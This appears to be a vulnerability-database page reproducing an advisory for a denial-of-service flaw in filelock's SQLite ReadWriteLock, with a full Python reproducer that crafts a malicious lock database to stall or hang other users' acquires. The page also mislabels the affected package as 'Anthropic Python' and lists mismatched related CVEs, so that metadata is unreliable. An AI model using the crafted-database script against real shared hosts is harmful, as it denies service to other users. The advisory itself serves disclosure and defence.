filelock's SQLite-backed ReadWriteLock (3.20.4 through 4.2.0) loads the full schema of whatever file sits at the lock path, so a local user who can plant or overwrite that file can make every acquire stall for as long as they choose, or hang forever at 100% CPU, ignoring timeout, blocking=False and Ctrl-C. It is availability-only (CVSS 5.5, no data read or corrupted) and needs a local account plus a writable, non-sticky lock directory or a 0666 lock database, so it is not an internet-facing threat. Exposure is still broad: filelock has about 5,436 downstream dependents, including many ML tools that use it for model and dataset caching, and shared multi-user training or notebook hosts are the realistic risk. EPSS is low (0.00218) but sits in the top 88th percentile, there is no public exploit or Nuclei template, and it is not in CISA KEV. Upgrade to filelock 4.2.1, and until then keep lock databases in directories only the locking account can write (mode 0600, no group or other write bit).
What is the risk?
Medium, matching the CVSS 3.1 score of 5.5 (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). Exploitation is trivial once the precondition holds: the attacker plants one small crafted SQLite file of roughly 28-37 KB. The precondition is the limiting factor. The attacker needs a local account on the same host and write access to the lock path, through a non-sticky shared directory or a world-writable (0666) lock database. Sticky directories such as /tmp with fs.protected_regular=2 block files owned by the attacker, but not a 0666 database owned by the lock user. Impact is limited to denial of service of the locking process. One layout stalls each acquire for an attacker-chosen time while allocating about 1 GB. The other makes acquire spin at 100% CPU indefinitely and ignore SIGINT, so only killing the process ends it. Confidentiality and integrity are unaffected. Exploitation in the wild: none known, no public exploit, not in KEV.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | >= 3.20.4, <= 4.2.0 | 4.2.1 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade filelock to 4.2.1 or later (fix in PR #834, commit 5e3f2ec) and rebuild lockfiles, container images and virtualenvs. 2) Inventory use of ReadWriteLock and AsyncReadWriteLock, for example with pip show filelock and grep -r ReadWriteLock across internal code. 3) Until patched, keep the lock database in a directory that only the locking account or root can write, with no group or other write bit, and make sure every ancestor directory belongs to that account or root and is non-writable by others or sticky. 4) Do not share a 0666 lock database between accounts. The lock creates its database as 0600, so leave it that way. 5) Detection: look for lock databases that are not owned by the expected account or are world-writable, for unusually large sparse files (apparent size around 1 GB with a few KB on disk), and for processes pinned at 100% CPU inside filelock _configure_and_begin. 6) Recovery: if an acquire stalls, replace the file at the lock path with an empty file and kill the stuck process.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-112915?
filelock's SQLite-backed ReadWriteLock (3.20.4 through 4.2.0) loads the full schema of whatever file sits at the lock path, so a local user who can plant or overwrite that file can make every acquire stall for as long as they choose, or hang forever at 100% CPU, ignoring timeout, blocking=False and Ctrl-C. It is availability-only (CVSS 5.5, no data read or corrupted) and needs a local account plus a writable, non-sticky lock directory or a 0666 lock database, so it is not an internet-facing threat. Exposure is still broad: filelock has about 5,436 downstream dependents, including many ML tools that use it for model and dataset caching, and shared multi-user training or notebook hosts are the realistic risk. EPSS is low (0.00218) but sits in the top 88th percentile, there is no public exploit or Nuclei template, and it is not in CISA KEV. Upgrade to filelock 4.2.1, and until then keep lock databases in directories only the locking account can write (mode 0600, no group or other write bit).
Is CVE-2026-112915 actively exploited?
No confirmed active exploitation of CVE-2026-112915 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-112915?
1) Upgrade filelock to 4.2.1 or later (fix in PR #834, commit 5e3f2ec) and rebuild lockfiles, container images and virtualenvs. 2) Inventory use of ReadWriteLock and AsyncReadWriteLock, for example with pip show filelock and grep -r ReadWriteLock across internal code. 3) Until patched, keep the lock database in a directory that only the locking account or root can write, with no group or other write bit, and make sure every ancestor directory belongs to that account or root and is non-writable by others or sticky. 4) Do not share a 0666 lock database between accounts. The lock creates its database as 0600, so leave it that way. 5) Detection: look for lock databases that are not owned by the expected account or are world-writable, for unusually large sparse files (apparent size around 1 GB with a few KB on disk), and for processes pinned at 100% CPU inside filelock _configure_and_begin. 6) Recovery: if an acquire stalls, replace the file at the lock path with an empty file and kill the stuck process.
What systems are affected by CVE-2026-112915?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, shared ML workstations and notebook servers, CI/CD build runners, model and dataset caching layers.
What is the CVSS score for CVE-2026-112915?
CVE-2026-112915 has a CVSS v3.1 base score of 5.5 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0029Denial of AI ServiceCompliance Controls Affected
What are the technical details?
Original Advisory
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write. One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0. Anthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged). Classification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition. ## Scope and preconditions - The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`. - Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. ## Affected code At the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes). ## Introduced The acquire path dates from `cfd4446` ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance. ## Mechanism `PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first. The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions. **Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`. Measured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816. **Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page). At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661. The row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call. ## Reproduction The scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`. **`repro`** ```python #!/usr/bin/env python3 import os import resource import shutil import subprocess import sys import time # set up: a cache directory both accounts can write, without the sticky bit shared_dir = "/tmp/shared-cache" shutil.rmtree(shared_dir, ignore_errors=True) os.mkdir(shared_dir) os.chmod(shared_dir, 0o777) lock_db = f"{shared_dir}/cache.lock.db" # attack: the attacker creates the lock database first, with 50 schema rows subprocess.run( [sys.executable, "/tmp/repro.d/make_stalling_db.py", lock_db, "50"], user="attacker", group="attacker", extra_groups=[], check=True, ) print("lock database uses", os.stat(lock_db).st_blocks * 512, "bytes of disk", flush=True) # victim: an application takes the read lock with a one-second timeout started = time.monotonic() subprocess.run( [sys.executable, "/tmp/repro.d/victim_reader.py", lock_db], user="victim", group="victim", extra_groups=[], timeout=600, ) victim_ran_for = time.monotonic() - started # check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout victim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024 # the victim is the largest child print(f"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB") print("BUG" if victim_ran_for > 10 else "OK") ``` **`repro.d/make_stalling_db.py`** ```python #!/usr/bin/env python3 # usage: make_stalling_db.py <database path> <number of schema rows> # # Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages: # every row's text continues on one overflow page whose "next overflow page" field names itself. import os import struct import sys database, schema_rows = sys.argv[1], int(sys.argv[2]) PAGE_SIZE = 4096 LOOP_PAGE = 2 COMMENT_LEN = 999_999_000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit CLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2 # SQLite refuses a record longer than page size x pages in the file TABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D def varint(value): groups = [value & 0x7F] while value := value >> 7: groups.insert(0, value & 0x7F | 0x80) return bytes(groups) def schema_row_cell(rowid): # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error name = b"t%04d" % rowid sql_start = b"CREATE TABLE " + name + b"(x) --" sql_len = len(sql_start) + COMMENT_LEN serial_types = b"".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len]) record_start = varint(1 + len(serial_types)) + serial_types + b"table" + name + name + b"\x02" + sql_start record_len = len(record_start) + COMMENT_LEN # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35 local = min_local + (record_len - min_local) % (PAGE_SIZE - 4) if local > max_local: local = min_local return varint(record_len) + varint(rowid) + record_start.ljust(local, b"A") + struct.pack(">I", LOOP_PAGE) def btree_page(page_type, cells, right_child=b"", header_offset=0): page = bytearray(PAGE_SIZE) content_start = PAGE_SIZE cell_pointers = b"" for cell in cells: content_start -= len(cell) page[content_start : content_start + len(cell)] = cell cell_pointers += struct.pack(">H", content_start) header = struct.pack(">BHHHB", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers page[header_offset : header_offset + len(header)] = header return page # pages 3 and up: the leaves of sqlite_master, about eight rows each cells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)] rows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2) leaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)] # page 2: the overflow page, pointing at itself, then 4092 bytes of comment text loop_page = struct.pack(">I", LOOP_PAGE) + b"A" * (PAGE_SIZE - 4) # page 1: the database header, then the root of sqlite_master with one child per leaf first_leaf, last_leaf = 3, 3 + len(leaves) - 1 children = [struct.pack(">I", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)] root_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(">I", last_leaf), header_offset=100) root_page[:100] = b"".join([ b"SQLite format 3\0", struct.pack(">H", PAGE_SIZE), bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses) bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions struct.pack(">I", 1), # file change counter struct.pack(">I", CLAIMED_PAGES), # database size in pages struct.pack(">II", 0, 0), # no freelist struct.pack(">II", 1, 4), # schema cookie, schema format struct.pack(">II", 0, 0), # default cache size, no auto-vacuum struct.pack(">I", 1), # text encoding: UTF-8 struct.pack(">III", 0, 0, 0), # user version, incremental vacuum, application id bytes(20), struct.pack(">I", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above struct.pack(">I", 3040001), # SQLite version that wrote the file ]) with open(database, "wb") as file: file.write(root_page + loop_page + b"".join(leaves)) written = file.tell() file.truncate(CLAIMED_PAGES * PAGE_SIZE) # SQLite also refuses a file shorter than it claims; this stays a hole os.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write print(f"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}") ``` **`repro.d/victim_reader.py`** ```python import sys import time from filelock import ReadWriteLock, Timeout lock = ReadWriteLock(sys.argv[1]) started = time.monotonic() try: with lock.read_lock(timeout=1): outcome = "acquired" except Timeout: outcome = "timed out" print(f"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s") ``` ## Failure sequence ```mermaid flowchart TB P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted"] P1 --> P2["PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading"] P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"] P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class P0,P1,P2 info; class P3,P4 bad; ``` ## Evidence The scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it: ``` attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632 lock database uses 36864 bytes of disk victim: read_lock(timeout=1) acquired after 24.6 s victim process ran for 24.8 s, peak RSS 981 MB BUG ``` The verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire. Our verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`. ## Impact Another local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards. ## Workarounds - Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. - Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`. - If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock. ## Patched version 4.2.1. Fix: https://github.com/tox-dev/filelock/pull/834 ## Credits Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers. - 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened
Exploitation Scenario
On a shared GPU training server, several data scientists use a group-writable, non-sticky cache directory (/srv/ml-cache) for a shared dataset and model cache protected by a ReadWriteLock. A malicious or compromised low-privilege account writes a 28 KB crafted SQLite file with looping interior b-tree pages at the lock database path, mode 0666, or overwrites the existing 0666 lock database in place. The next time any teammate's training or data-prep job calls acquire_read(timeout=1), it spins at 100% CPU inside the SQLite schema load, ignores the timeout and Ctrl-C, and has to be killed. The attacker can repeat this to repeatedly disrupt shared jobs. They gain no data access.
Weaknesses (CWE)
CWE-400 — Uncontrolled Resource Consumption: The product does not properly control the allocation and maintenance of a limited resource.
- [Architecture and Design] Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- [Architecture and Design] Mitigation of resource exhaustion attacks requires that the target system either: The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker. recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropic